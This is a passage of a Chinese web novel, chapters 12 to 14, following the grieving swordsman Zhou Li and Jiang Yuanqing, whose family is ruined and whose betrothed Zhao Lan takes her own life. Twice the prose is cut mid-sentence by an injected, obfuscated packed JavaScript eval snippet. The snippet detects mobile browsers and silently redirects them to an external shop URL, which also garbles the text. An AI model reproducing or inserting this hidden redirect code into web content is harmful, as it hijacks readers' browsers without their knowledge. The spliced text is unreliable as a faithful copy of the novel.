一旁的阎老大皱着眉头坐在凳子上,等大夫忙完才急切问道:“他可好些了?” “目前来看,倒是稳定了不少,但需好好养一段时日,不然日后会留下病根。” 阎老大若有所思地点了点头。 “对了,周厉独自出去也有几日了,怎得还不回来?阎老大要不要派人找他?” “他若是寻到了曲玉,自会回来,只怕是活不见人死不见尸,不知要寻到何时。” “曲玉这么久都没回来,会不会……”大夫瞧着阎老大的神色,未敢继续说下去,只得换了个说法,“若曲玉出了什么问题,依着周厉的脾气,只怕不会善罢甘休,阎老大需早做打算。” “他虽固执,却重情重义,毕竟是我救了他,量他也不会将气撒在我头上。” 谈话间,传来敲门声,阎老大警觉地望向门口。 “是谁?” 门外的人沉默不语,只敲了几下便未再出声。 阎老大起身走近门口,门外又传来一阵脚步声,随即便听得他飞身离去。 确认外间再无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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荷玉人看清来者的面容,急忙收住那柄大剑。瞬间,大剑融化成一滩水洒在周厉面前。 “你怎么来了?”荷玉人心有余悸,她还从未用水剑伤过别人,也不知水剑的威力。若是伤了周厉,也不知道该如何疗愈他。 “我伤着你了么?”荷玉人连忙起身走到周厉身边。 “没有。”周厉兀自坐在地上,似乎对刚刚惊险的一刻毫不在乎。 荷玉人注意到了他奇怪的神情,面无表情的面皮下有着难掩的忧伤和无力。 “发生什么事了么?”荷玉人站在他面前低头看着他,“你来找我有什么事?” 周厉似听不见她的焦急询问,自顾自垂首不知在想什么。 “你这样让我有些无措,究竟是怎么了?” 周厉缓缓摘下面具,哽咽道:“送我面具的人,他死了。” “什么?” “他的脸上和身上全是数不清的刀伤,血都流尽了……”周厉抬起头,满脸泪水,“为什么老天爷要这样对我,要让我身边的人一个一个死去?难道我真的是养父所说的阴阳脸,会给身边的人带来不详么?” “你为何要这样想?别人的错与你有什么干系?”荷玉人见他这副痛苦的模样,心中也隐隐作疼。 “为什么他们都要一个个离我而去?而我总是无能无力,救不了他们。”说罢,周厉忍不住抱住荷玉人,失声痛哭。荷玉人不由自主地轻抚他的头,试图安慰。 不知过了多久,周厉的哭声渐弱。荷玉人松开他缠绕的臂膀,双手托住他的脸,语气温柔道:“这不是你的错,你只不过比旁人不同了些。凡人向来都承受着连我都难以想象的苦难,他们的命运怎么能都归咎在你的头上?要怪便怪创造这世间的人罢。” 周厉听了荷玉人的话,心情渐渐缓和。他抬眸盯着荷玉人的面庞,不知怎的,有着难以言表的安心。 荷玉人看他满脸的泪痕,心生怜惜。一双清澈的眼眸泪光涌动,眨眼间,一滴晶莹剔透的泪珠从交织的睫毛间滚出,滑过他的脸颊。 不知怎的,荷玉人顿时感觉心中有些许的动容。她缓缓凑近他的脸庞,两人的呼吸越来越近。她稍弯脖颈,朝那颗悬挂在他下颚边缘摇摇欲坠的泪珠吻去…… 似从唇间感受到他的体温,这温热的触感让荷玉人瞬间清醒。 她僵硬地离开他的脸庞,展露在面前的是他惊诧的眼神。他的双眸逐渐圆睁,呼吸也肉眼可见的急促。 “我……我只是想让你心中好受些。”荷玉人连忙解释道。 “我知道,谢谢你……”周厉垂下眼眸,两人都收回目光,不敢与对方有丝毫碰撞。 “那……你接下来打算如何做?要为他复仇么?” “我想弄清楚到底是谁杀了他,那么多的刀伤,此人心肠歹毒,我定要讨个公道。” “需要我助你么?” “你修仙不易,且不能离水太远,更何况这是我的私仇,我要自己解决。”说罢周厉愤然起身。 “我走了。”他握紧腰间的雁翎刀,转身离去。 荷玉人看着他决绝的背影,暗叹了口气。 12. 第 12 章 江宅,江远倾身着孝服坐在厅堂内,查阅着手中各地分局的账本。 “将分局里的兄弟都遣散,务必将补偿的银两发放到位。另外,能变卖的都变卖。总局里和父亲一同护镖、死于盗匪手里的兄弟,务必都发放抚恤的银两。” “是。”马镖头站在一旁连忙躬身道。 “公子,咱们真的要变卖家产,对宁王进行补偿么?” “宁王已经写了奏折,在皇上那里告了外祖父的状。说父亲护送不力,连山野里的贼寇都抵挡不住。” “这说的是什么话?本来这趟就是刘承贤硬要我们去送的,哪里晓得冒出来这么多贼寇?现在老爷子锒铛入狱,他刘承贤倒好端端的,圣上怎得如此偏心?” “这些话可不能乱说。”江远倾厉声道,“毕竟万寿节礼是在我们手上丢失,变卖家产只是权宜之计,对宁王适当补偿也算是助外祖父脱身。” “我们总镖头可是死在了贼寇手里,还有那么多死去的兄弟,皇上无丝毫怜悯不说,还将老爷子打入牢狱,世上有这个道理么?” “在我这里逞一时之快就罢了,这些话可不许在外头的人面前说,否则定要招惹是非。” “知道了。”马镖头一脸不情愿地答道。 “可从那些死去的贼寇身上发现什么?” “这些人来历不明,当地人从未见过。” “来历不明,又知晓爹爹的行程和武艺,不是镖局里出了叛徒,便是有人在背后弄鬼。” “镖局里的兄弟都是知根知底的,一同前去的都死光了,剩下的几名兄弟也受了重伤,怎么可能有叛徒?” 江远倾扶额长叹一声:“爹爹临走前我就曾劝过他此行凶险,可他还是去了。我想过会有人从中作乱,却没想到他竟要了爹爹的命。如此斩尽杀绝,这背后的只能是朝廷中人了,势必要将外祖父彻底扳倒。” “朝廷中人……”马镖头冷笑一声,“除了刘承贤还会有谁做出这事?” “他圣恩在身,我等没有证据,又如何能撼动?” “对了,皇上说要对镖局进行排查,已有好几个兄弟被带到衙门里去了。” “支些银子去衙门里打点,叫他们配合询问,勿起冲突。” “好。还有,大部分雇主听闻我们镖局丢了万寿节礼,都毁约了,但有几个雇主曾与总镖头交情颇深,他们还希望我们镖局来替他们运送。” “既是父亲的好友,又对我们颇为信任,哪有不送的道理。” “好,那我便应承下了。” “嗯。” “公子。”说话间,江全走了进来,朝江远倾行了个礼。 “什么事?” 江全瞥了眼马镖头,走上前凑在江远倾耳边道:“巧烟要见公子,说是有要事。” “我知道了。”江远倾朝马镖头道:“你先回去罢。” “是。”马镖头转身离去。 “带我去见她。” 后门吱呀一声打开,江远倾跟在江全身后,见到了站在门口的巧烟。她眼眶通红,面容憔悴,见到江远倾后连忙走上前。 “江公子,我有话要和你说。” “上回我不是都和你说清楚了么?”江远倾语气十分平淡。 听了这话,巧烟咬紧嘴唇,手紧紧地扯住衣角,却并没有要走的意思。 “有什么话,你就说吧。” “我要和你单独说。” 江远倾瞥了眼江全,江全连忙后退几步:“我先回去,有事的话公子您再唤小的。” “嗯。” 见江全走了,巧烟这才开口道:“公子,我今天来是要告诉您,我们家老爷要将小姐许配给他人了。” 江远倾的嘴角不经意地轻轻抽动,神情凝滞了一瞬。 “是么?”他低下头,目光不知在锁定何处,直愣愣地立在原地。 沉默片刻后,他终于抬起头,一脸云淡风轻道:“是哪家的公子?” “吏部侍郎家的孙子,年纪与小姐相仿。” “赵伯父是识时务的人,吏部俞侍郎与圣上身边的红人刘承贤是挚交,想必吏部侍郎的孙子将来也会有个好前程。” “这就是您的回答么?” 江远倾淡然地直视她眼中的怒火,却只坚持了片刻便转移目光,看向别处。 “巧烟姑娘想要什么回答?” “亏得小姐对你一往情深,小姐为了与老爷抗衡,已绝食数日,你却如此处之泰然。” 见他沉默不语,巧烟又继续说道:“小姐今日叫我来,原是想抛弃一切与你私奔,可是你却如此无情无义,小姐的真心也算是喂了狗,错付了!” “这份真心,远倾在此谢过。只是父母之命媒妁之言,劝你家小姐还是莫要违逆。远倾有娘亲需要赡养,还有镖局需要操持,外祖父也尚在狱中。私奔之事不但会让远倾背负不孝的骂名,也会辱了兰儿姑娘的清誉,实属下策。” “好,江公子考虑得实在周全。奴婢这就回去将您的话一字一句地转达给小姐,让她彻底断了这念想。”巧烟气得浑身颤抖,整张脸涨得通红。 “还请巧烟姑娘回去多多劝解你家小姐,绝食伤身。” “公子若真关心我家小姐,就自己去和她说。奴婢只是来替我家小姐传话的,可没说能为公子传话。” 江远倾顿时语塞,哑口无言。 “奴婢已将小姐的话带到,告辞。”说罢,巧烟气冲冲地离去。 江远倾看着她离去的背影,心中五味杂陈。 “公子,你们说什么了?我从未见过巧烟如此生气的模样。”江全见巧烟离去,连忙从门里走出来。 “没什么。”说完,江远倾拿出怀里的手帕,咳了起来。 “公子,你怎么了?” “许是吹了寒风,你扶我回去罢。” “好。”说罢,江全小心翼翼地搀扶江远倾进门。 还未进去厢房,便听得厅堂里有人在哭喊。江远倾远远地望去,竟是外祖母身边的那位小厮跪在地上抽泣。而娘亲正站在他的面前,面容极度痛苦,她的身体因过度悲伤而颤抖。 “娘,发生什么事了?”江远倾连忙撒开江全搀扶的胳膊,快步上前。 “你外祖父在狱中撞墙自尽了……” “什么……”江远倾一个踉跄跌坐在地上,江全赶忙扶住他的胳膊。 “怎会如此,圣上并未降罪,为何外祖父会自尽?”江远倾脸色惨白,全身无力地瘫坐在地上。 “小的已经派人去狱中打点,可谁曾想那狱卒拿钱不办事,时不时地就以莫须有的罪名将老爷子拉出来拷打,老爷子实在受不了,就……撞墙自尽了……这些还是另一位好心的狱卒悄悄告诉我的……”说罢,那小厮泣不成声。 “我不信,外祖父是何等坚韧的人,怎会自行了断?他们说自尽便是自尽么?活要见人,死要见尸。快,派人去问问,哪怕死了,也该有个全尸!” “小的知道了。”那小厮立即起身朝外跑去。 “远倾……”江夫人脸上的泪水滑过脸颊,声音因哭泣而沙哑,“为何我们江家屡经磨难?是不是为娘的错?” “娘,你为何这样想?”江远倾支撑起身子,挽住江夫人的手臂。 “若不是为了救我,你爹便不会与我相识,更不会走这趟镖,也就不会命丧黄泉,你外祖父也不会……”说完江夫人又落下几滴眼泪,她的眼睛布满血丝,眼角因流泪过多而变得红肿。 “不,娘您不要这样想。这些都是意外,与您无关。” “那为何上天要这般对待江家?你外祖父在朝中为国为民,你父亲在镖局勤勤恳恳,他们做错了什么?为什么他刘承贤高枕无忧,你父亲就要死在荒无人烟的野林岗?” 江远倾望着母亲泪流满面地哭嚎,却答不上半句。 “娘,您不要伤心过度,爹和外祖父也不会想看到您这样的。您还有我,孩儿还在这里。” “远倾……”江夫人哭泣的声音渐渐无力。 “曼儿,快带夫人去房里歇息,让夫人喝些茶水。” “是。”曼儿走过来挽住江夫人的胳膊朝厢房里走去。 夜幕降临,江远倾面无血色地坐在厅堂中。 江全小心翼翼地端来茶水放在桌上,他悄悄 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江远倾摇摇晃晃坐回座位,沉默片刻后,他语气低沉道:“拿些纸钱和香烛来。” 江全不敢违逆,连忙出门去拿。 拿到纸钱和香烛后,江远倾拍了拍江全的肩膀:“你回去歇着罢。” “公子……”江全不甚放心。 “不要跟着我。”说完,他兀自朝门外走去。 此时已是深夜,万籁俱寂,只有江远倾一步一步踩在积雪上的声音。寂静的夜色如同深不见底的黑色漩涡,将他的身影逐渐吞没。 江远倾行到院中的池塘边,抓了把干草铺在地上跪下,又用火折子点了香烛照明。烛火摇曳,水面上反射着暖黄色的光芒,在夜间十分刺眼。江远倾将纸钱折好放进火盆里,用火折子点燃。 “外公,远倾无能,连您的尸身都无法找到。他们说您撞墙自尽,可远倾不相信。朝中尔虞我诈,那么多的风浪您都抗过来了,怎会……”江远倾嘴角微微颤抖,泪水夺眶而出。 “爹爹,您要我一心辅佐圣上,明知护送万寿节礼是一个陷阱,也要往里跳。可是您敬重的圣上对您的死置之不理,还将外公关进牢狱,现在外公也含冤而去,他真的值得你们这么做么?” “今日娘亲问我,为何作恶的人高枕无忧,而你们明明安分守己却不得善终,孩儿真的不知该如何回答……” 泪水模糊了他的双眼,火盆里火焰升腾,照亮了他痛苦的面容。 “爹爹,您曾说,立大事者需有坚忍不拔之志。可是现在,孩儿……孩儿有些支撑不下去了,孩儿好像迷路了。您能告诉我,接下来的路该怎么走么?” 火盆里的纸钱渐渐化为灰烬,炽热的光芒逐渐收敛为点点火星,与黑暗融为一体。 烛火轻轻闪动,又恢复寂静。夜色死一般的沉寂,压得他喘不过气来。 突然,墙边的积雪轰然掉落,碎在地上,掀起一阵雪雾。江远倾循声望去,围墙上有个黑影穿过。 “谁?谁在那里?”江远倾端起香烛,走近几步。 那人似乎没有站稳,墙上的积雪又十分湿滑,他竟从墙上摔了下来。 在烛火的照耀下,那人缓缓站起身,转过头时却是一副面具。 “你是何人?” “你是江远倾么?”那黑影问道。 “你找我何事?” 黑影欲回答,远处却传来江全的喊叫声打断了他。 “公子!公子!你在哪儿?” 江远倾下意识回头看江全,等再去寻那黑影时却是空无一人。 看见远处的烛火,江全跑了过来:“公子,夜已深了,您还是回去罢。” “不是说了让你不要跟着我么?” “公子,求求您了,只要您回去休息,明日怎么处罚小的都成。” “你去将池边的东西一并收拾好。” “是公子。”说完,江全走到池边拿上香烛和火盆。 江远倾回头看向围墙,那人影不知跑去了哪里,黑漆漆的,什么也没有。 13. 第 13 章 一轮明月躲过重重黑云,将光芒倾洒大地。地上的积雪在月光的照耀下,泛着一层银白色的光泽。雪光穿透窗棂,将房间里映照得如同白昼。 江远倾躺在床上,盯着窗外的白光沉思默想。他试图闭上眼睛,却久久未能入眠,脑海里千丝万缕的事情纠缠在一起。 忽然,一道翠绿光芒在他的脑中浮现,他瞬间想起省亲归途中遇到的那座破庙。庙里那副画像中的猛兽分明对他眨了眨眼睛,那闪烁的光芒在此刻分外清晰。 辗转反侧许久,他终于下定决心坐起身,穿上外衣推门而出。 “江全。”江远倾站在门外唤醒睡梦中的江全。 “公子,有何事?”江全披上外套推开门睡眼惺忪地问道。 “备马,我要出门。” “什么?天还没亮公子要去哪儿?” “你备马就好,随我一同去。” “好好好,公子您等等小的。” 天边微亮,城门刚刚打开,江远倾连同江全骑着两匹快马出了城门。 “公子,咱们出城去哪儿呀?” “跟着我就好。” 两匹快马如风般疾驰,待天边曙光渐渐蔓延,散发朦胧亮光之时,江远倾才勒马停住。 见江远倾下马,江全也连忙下马。 “公子,我们来这里做什么?” “心中有疑惑,来看看。”说罢,江远倾将马匹拴好,朝记忆中破庙的方向走去。 江全一边跟上一边打量着四周阴森森的树木,突然,他隐约看见不远处的野草丛中站着两个人,披着块红布一动不动,不由得惊叫一声。 “公子,那里有人!” “怎么了?”江远倾转头望向他。 “您看。”江全指了指远处草丛中的人影,“不会是鬼罢?” “是人是鬼,去看看就知道了。” 江全欲拦住他,没想到他脚步飞快,径直朝那人影走去。 “公子,这红布下是什么东西?不像是人。” “不是人,是神像。”江远倾看向另一个未盖红布,手捧圆珠的童女神像,“这位是捧珠龙女,观音菩萨的随从。” “那这个盖着红布的是不是善财童子?”说罢江全伸手欲揭红布。 “别动。”江远倾立即拦住他。 “怎么了?” “这些神像本应在庙中,现在却被丢弃荒野盖着红布。我曾听爹爹讲过他走镖时听来的民间风俗,换庙移神时不用的神像需用红布盖着,若第二天红布仍在便意味着此神同意移走,若红布被掀开,说明此神不愿离开,所以这红布动不得。” “按公子的说法,那这位捧珠龙女便是不愿离开的意思了?” “应该是了。”江远倾环顾四周,面露疑色,“奇怪,捧珠龙女和善财童子都在这里,观音菩萨的神像怎么不见了?” “不会是被人偷去了罢?这年头观音菩萨都被丢在荒野,无人祭拜了么?” “也许不是换庙,而是被别的邪灵强占了庙宇。” “别的邪灵?”江全越想越毛骨悚然,“公子,你的意思是说这附近有妖怪?” “有没有妖怪,去那座庙里看看就知道了。”江远倾抬头望向远处那座被树枝杂草遮挡的破庙,凌晨时分,那座本荒芜人烟的破庙此时竟点着烛火,窗户里投射出昏黄的光芒。 江全紧紧跟着江远倾走近那座破庙,庙门没有上锁,虚掩出一道门缝。 江远倾叩了叩门:“有人在么?” 等候许久,也未见有人来开门。 “公子,这门没有关,又是一座庙,想必只要是来上香的就能进去。”说罢江全推门而入。 江远倾还未来得及拦住他,门就已被他打开,墙上那副画映入眼帘。 “你不是害怕么?” 江全不好意思地笑了笑:“公子一身正气,小的怎能拖了公子后腿?” 江远倾无奈地瞥了他一眼,转而朝那幅画望去。 庙里十分破败,遍地蛛网,墙上挂的那副画的颜料却没有褪去,崭新如初。画中的猛兽一身金色的皮毛,虎头虎身龙尾,张牙舞爪,威风凛凛。 江远倾凑近查看那猛兽的眼睛,却看不出什么异常。 “公子,这座破庙供奉的就是这副画么?我看这庙破烂不堪,不像有人来祭拜的样子。”江全用手轻轻擦了一下供桌,桌上落了厚厚的灰尘。 “你们是来进香的么?”一个苍老嘶哑的声音从门口传来,将江全吓了一跳。 “谁?你这老头怎么突然冒出来?” 江远倾连忙转头朝门口看去,只见门口站着一位胡子花白的老人,脸上褶皱丛生,眼神深邃,对江全讪然一笑。 “江全,不得无礼。”江远倾走上前向老人行了个礼,“老先生,我们是来进香的,可是却不知香火在何处。” “真是稀奇,竟有人来这进香,你们可知这是什么庙?” “晚辈孤陋寡闻,请问老先生这可是契约神庙?” “正是,没想到你年纪轻轻竟知道契约神。” “老先生谬赞,想必这画上的就是契约神兽了罢。听闻契约神兽名为天禄,由最高山上的灵石碎片幻化而成,专管人间契约。” “老朽在此看管数十年,来这的香客知道契约神本名的实属少有。” “您竟看管了这破庙这么久?”江全忍不住插嘴道。 江远倾啧了一声,示意江全注意言辞。 老先生不好意思地笑了笑:“因为渐渐的已无人祭拜,拿不出香火钱修葺庙宇,便落得这副破败的样子。” 江远倾略遗憾地点了点头,随即问道:“老先生可否知晓庙外不远处有几尊废弃的神像?” “知道,那座观音庙因废弃早就被夷为平地了,这座庙也是因为老朽在照看,才免于一劫。” “原来如此。” “这位公子知晓灵石,又知晓契约神的本名,可曾知道契约神是如何成神的?灵石又叫作什么?” “灵石也有名字么?” 老人点点头:“当然,灵石全名叫作玑隐灵石。契约神成神之前原是玑隐灵石碎片幻化而成的神兽,被隐居山中的卧云仙人收为徒弟,取名天禄。一日,卧云仙人派天禄去凡间历练,此时的凡间正处于上古时期,各部落之间战争不断。人主黄帝不敌蚩尤,正忧心忡忡,却遇见了身怀异能,法力高强的天禄。天禄与黄帝签订契约,若助他战胜蚩尤,便封他为领地之主,黄帝欣然应允。” “后来呢?”江全听得津津有味,忍不住问道。 “后来,天禄为黄帝冲锋陷阵,战胜蚩尤,也就是著名的涿鹿之战。可是世人只知涿鹿之战,却不知战后天禄的结局。黄帝惧怕天禄的神力,战胜蚩尤后出尔反尔,违反契约,不愿封他为领地之主,反而从天界借了一件法宝,名为东皇钟,将天禄镇压在钟下。可惜日久年深,东皇钟出现了磨损,天禄从缝隙中逃了出去,并大闹天界。天帝见天禄法力无边,不好降服,便向天禄求和,签订契约。” “又是签订契约?可是前面已经出尔反尔了,这回也能遵守么?”江全不禁插嘴道。 “看来天帝就是在这份契约上封天禄为契约神罢。”江远倾说道。 “不错,鉴于人主出尔反尔,天帝便封天禄为契约神,专管人间契约。若凡人违反契约,契约神便可降下神罚。不过除此之外,契约神不可插手凡人生死,凡人也需答应在人间为契约神建造庙宇,时时祭拜。” 江远倾环顾四周破旧的墙壁,叹气道:“看来凡人已经忘却了自己的承诺。” “现在凡人之间都背信弃义,又有谁记得这上古时期的承诺呢?”老先生一脸慈祥地注视着江远倾。 “老先生的话,晚辈竟无可辩驳。” “你们不是来进香的罢?” 江远倾未料到他竟早已看穿,连忙躬身赔礼道:“实不相瞒,晚辈曾路经此庙,有幸领略画中契约神的风采,回去后辗转反侧难以忘怀,故来此一探究竟。” “看来你与契约神有缘。” “哪里哪里,今日听得老先生讲述契约神的传说,晚辈受益匪浅。” “哦?”老先生一脸好奇。 江远倾若有所思地注视着画中的契约神,眼神中流露出一丝坚定。 “原来神明也曾孤独无助过。” 江全在一旁听着,却注意到江远倾说出这话后,老先生的脸色隐隐发生了变化。之前一贯平和的笑容此刻顿时消失,化为沉默,他的眼神中闪过一丝落寞。待江远倾转回身子,老先生又堆起了笑容,江全连忙收回打量的目光,假装自己没有在意。 “公子这样说,是遇到什么烦心事了么?”老先生道。 “神明的一生尚且历经坎坷,更何况我等凡人。战争自古至今,从未停歇过。战争不断,苦难不止,有人的地方就会有纷争,可见凡人永远也无法摆脱苦难。” “有些人的苦难是他人带来的,而有些人的苦难是自己造就的。众生皆苦,即便六道轮回,也有各自的苦楚。” “今日与老先生相谈甚欢,心中烦闷拂去了许多。”江远倾转头朝向江全,“你身上带了多少银两?” 江全连忙在身上搜寻了一阵:“公子,小的只带了二十两银子。” “都拿出来罢。”江远倾朝老先生行了个礼:“今日出门仓促,请老先生收下这二十两银子用来修葺契约神庙。日后若还有用到的地方,可来风灵城江家报个天禄二字便好,在下是江家之子江远倾。” “老先生您收下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611560|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢。”江全将银两递给老先生。 “既然如此,那老朽便收下了,多谢公子。这些银两老朽定将用于庙宇的修葺事宜,有契约神作证。” “晚辈相信老先生。”江远倾望着窗外天空已大亮,太阳早已升起,便对老先生行了个礼:“时候不早了,晚辈告辞了。” 说罢,江远倾同江全告辞离去。 老先生凝视着他们离去的背影,又看了眼手中的二十两银子,陷入了沉思。 江远倾解开树上的缰绳,骑上马匹,不忘回头看一眼契约神庙。 “公子,您真的相信那老先生会用那银两修葺庙宇么?”江全解开缰绳抬头问道。 “他若是贪图银两,没必要守着这么个偏僻的地方,更何况还是契约神庙。” “公子,小的注意到您在说神明也曾孤独无助时,那老先生的脸色似乎不对。” “也许,他的一生也曾坎坷过。”江远倾最后看了眼契约神庙,“回去罢。” “好。”江全跃上马,二人骑马离去。 赵府,巧烟端来饭食来到赵兰的房间。房间门口站着两位带刀的守卫,一脸凶神恶煞不好招惹的模样。 巧烟经过两名守卫时,没好气地白了他们一眼,随即敲了几下门。 “小姐,奴婢来送饭食了。” 赵兰坐在房内,并不应答,巧烟无奈,只得推开房门,径直走了进来。她关上门,将吃食放在桌上,赵兰面无表情地趴在桌角。 看她头发凌乱,一脸憔悴的模样,巧烟的心中隐隐作痛。 “小姐,您这是何苦呢?老爷这么做也是为了小姐的前途着想,吏部侍郎的孙子俞公子比江公子的家世优越,也是一表人才……” “巧烟,你知道我在意的不是这个。” “我知道小姐不在意,可是连江公子都放下了,小姐您为何要揪住不放为难自己呢?” 这时,门外传来敲门声,巧烟叹了口气去开门。 “老爷好。”巧烟朝来人行了个礼。 “小姐吃饭了么?”赵老爷站在门外大声问道。 巧烟一时难以应答,赵老爷径直朝房里走去,赵兰见是父亲便端正了身子,却也不行礼。 “如何?你还没想通么?” “父亲想通了么?” “混账!”赵老爷一气之下将桌上的吃食推到地上,碎片飞溅,发出刺耳的声音。 “再怎么说我也是你的父亲,你竟教导起为父来了!” “女儿不敢,只是女儿曾在《论语》中读到过这样一句话:人无信不立,业无信不兴,国无信则衰。爹爹十几年前与江家订下的亲事,如今看江家落魄便出尔反尔,实在是不诚信的作为。” “爹爹是为了你好,江家现下已经失去了靠山,又得罪宁王和皇上,你嫁过去能有什么出路?” “既是为了女儿好,爹爹又何曾问过女儿的想法?江家的事全都因盗匪而起,与江家有何干系?我看不是江家失去了靠山,而是爹爹失去了靠山。眼下爹爹将女儿许配给吏部侍郎的孙子,也是为了再寻个靠山罢?爹爹当年与江家订下娃娃亲难道不是出于攀附么?现在又要攀附吏部侍郎,将女儿送出去,这就是爹爹说的,为了女儿好么?” “好呀,你为了江家那小子,竟敢对爹爹说出这样的话来?” “爹,您还不明白么?纵使女儿对江远倾有情,可爹爹见利忘义,背信弃义的行为才是最让女儿伤心的!女儿曾以为您和江伯伯是挚友,没想到竟都是装出来的,连女儿都被您给骗了!您如此言而无信,让女儿日后如何在世间立足?” “江风山走了那么多趟镖,他没有信义么?可他的下场呢?有信又如何?还不是死在了荒野!这个世道谁不依附权势?你以为凭个信字就能在世间立足么?” “您这是在强词夺理!”赵兰站起身,一脸倔强道。 “巧烟,今日不许再给小姐送吃食,什么时候她想清了再送。”未等巧烟应答,赵老爷怒气冲冲地走出门,对门外的两名守卫道:“你们两个,将小姐看好了!” “是!” 看老爷离去,巧烟抹着眼泪去捡地上的残渣碎片,一边捡一边劝赵兰:“小姐,求您别和老爷置气了。有信也好,无信也罢,您的身子才是最重要的。” “巧烟,别捡了,你出去罢,我想静一静。”赵兰面如死灰,缓缓地坐在凳子上。 巧烟无可奈何,只好出去。 房中只剩了赵兰一人,她整理好妆发,走到门口将门打开。 “小姐,老爷说了,让我们看住您。”门口的守卫拦住了赵兰。 “他让你们看住的不是我,而是他的荣华富贵。” 赵兰惨淡的脸上挤出一丝冷笑,目光渐渐落到守卫腰间的佩刀…… 14. 第 14 章 阳光逐渐变得热烈,雪水融化流进土里,唤醒沉睡的种子。干枯的树枝冒出点点新绿,在寒冷与温暖交织的春风中轻盈摇曳,焕发勃勃生机。 江氏镖局院中停着几辆镖车,镖车里装载了沉甸甸的银两,江远倾站在院内检查接收镖物的清单。 “公子,您真的要和我们一起走镖么?”一旁的马镖头走上前问道。 “我已经决定好了,江氏镖局是父亲呕心沥血建立的,作为江氏一脉,有将江氏镖局发扬光大的职责。并且我也想出去历练一番,走一遍父亲走过的路。” “有公子在,我们江氏镖局一定能重振雄风!”马镖头信心满满道。 “公子!”江全从门外走了过来,“公子!这是通行证。” “好。”江远倾接过通行证,环顾四周收拾行李的兄弟,“一切都准备得差不多了,等大家收拾好,就可以拜镖旗了。” 江远倾扫视着院内的兄弟,突然眉毛微蹙,眼神中闪烁着疑惑的光芒:“马镖头,怎么不见钱家兄弟?” “哦,钱家老三出入赌坊,一日夜里不知撞见了什么,吓得精神错乱,得了癔症。钱家老大带着他四处寻医也不见好,只得在家里照料,脱不开身。” “什么时候的事?” “几个月前的秋天,我记得那时还没有下雪。” “我们镖局里不是严禁出入赌坊么?” “是的,钱老大平日里也是这样管教钱三,可钱三不听,私下里仍去赌。若不是赌钱,就不会撞见不干不净的东西,好好的人说疯就疯了。” “不干不净的东西,难道是撞见鬼了?”江全在一旁好奇道。 “这我可说不准,反正赌坊不是什么好东西。看来日后还需跟兄弟们提提醒,立立规矩,要不然和钱三一样得了癔症,一辈子就毁了。” “嗯,既然是镖局里立下的规矩,那就要严格遵守。” 话罢,江远倾看了眼时辰,对院内的兄弟道:“各位哥哥,已经收拾得差不多了,该是出发的时候了。” 几个镖师带着院里的其它兄弟整齐地站在江远倾身后,由江远倾领头,携众人朝着江氏镖旗郑重地拜了三拜。 拜完镖旗,江远倾面朝众人恭恭敬敬地躬身行礼。 “诸位哥哥都是家父生前患难与共的好兄弟,如今家父不幸死于贼寇之手,江氏镖局也不再如从前。但诸位哥哥仍对江氏镖局不离不弃,远倾在此替家父衷心谢过。日后我江远倾定会竭尽全力,将江氏镖局发扬光大。” “好!不愧是总镖头的血脉,我们信你!”一位镖师气势豪迈地喊道,其它兄弟也接连响应。 “远倾资历尚浅,还请各位哥哥往后不吝赐教,多多包涵,多谢了。”江远倾抱拳行礼。 “哪里的话,公子有这份心意,也属难得。日后兄弟们定齐心协力,助公子一臂之力。” “多谢,多谢。”江远倾连连拱手道谢,抬眸时却瞥见了门口站着一位衣着素朴的女子。 “那请各位再去做最后的准备,不多时我们便出发。” 江远倾解散众人,见那女子仍驻足在门口,似乎有话要对自己说。他穿过人群走上前,这才辨认出站在门口的是巧烟。 巧烟的穿着不同以往,十分的素净,面容也憔悴苍白了许多,江远倾竟一时没有辨认出来。 “巧烟?你怎么来了?” “我去江宅寻公子没有寻到,想着来镖局瞧瞧。” “你找我有什么事么?” “公子这是要出远门么?” “是的,我要出门走镖。”江远倾看着巧烟的神情有些奇怪,有气无力的,眼神中充满了哀怨,再往她身后一瞧,还背了个包袱。 “巧烟姑娘,你背着包袱,是要去往何处?” “我要回乡下照顾母亲。”巧烟说话的声音十分微弱,气若游丝。 “发生什么事了?你与你家小姐感情甚好,你走了你家小姐怎么办?” 巧烟听了这话顿时瞪大眼睛,她的脸上写满了不可置信,眼神直直地盯着江远倾。 这时,江全不知从哪里冒了出来,他径直拉住江远倾的手臂往镖局里走:“公子,马镖头有事找你。” 江远倾还未听得巧烟回话,便被江全拽走。 “江全,你拉着我做什么?我正和巧烟说话。”江远倾一边撤回手臂,一边回头看巧烟。 这一回头不打紧,却让江远倾顿时脊背发凉,心中惶惶不安。 只见巧烟的表情瞬间变得奇怪扭曲,站在原地张大了嘴巴诡异地放声大笑起来。 江远倾立即有了不详的预感,他用力地甩开江全,快走几步来到巧烟面前。 “巧烟姑娘,你笑什么?” 巧烟盯住江远倾,脸上的笑意逐渐收敛,转变成了恨意,一双怒目审视着他。 “我家小姐已经亡故,公子让巧烟留下服侍谁?” “什么……”江远倾愣在原地,面容凝滞,半天说不上话来。 “公子到现在才知晓么?江全都不曾告诉你么?江宅的所有人都不曾告诉你么?” 江远倾立即回头抓住江全的胳膊,声音颤抖道:“她说的是真的么?” 江全的表情皱成了一团:“公子,小的只是不想让您伤心……赵兰姑娘……的确已经亡故了,请您节哀……” 江远倾松开江全的胳膊,朝巧烟道:“她是怎么死的?” “她是被逼死的,被你和老爷逼死的!”巧烟一边说着一边泪流不止,“小姐死前和老爷大吵了一架,她趁我们不在的时候不知用了什么法子骗走守卫的佩刀,自刎而死……” 巧烟的哭声凄厉,引得镖局里的兄弟围了上来。院里一片静默,只留得巧烟的哭嚎声。 江远倾顿时觉得天旋地转,他缓缓转身,镖局里的兄弟们纷纷用关切的目光注视着他。 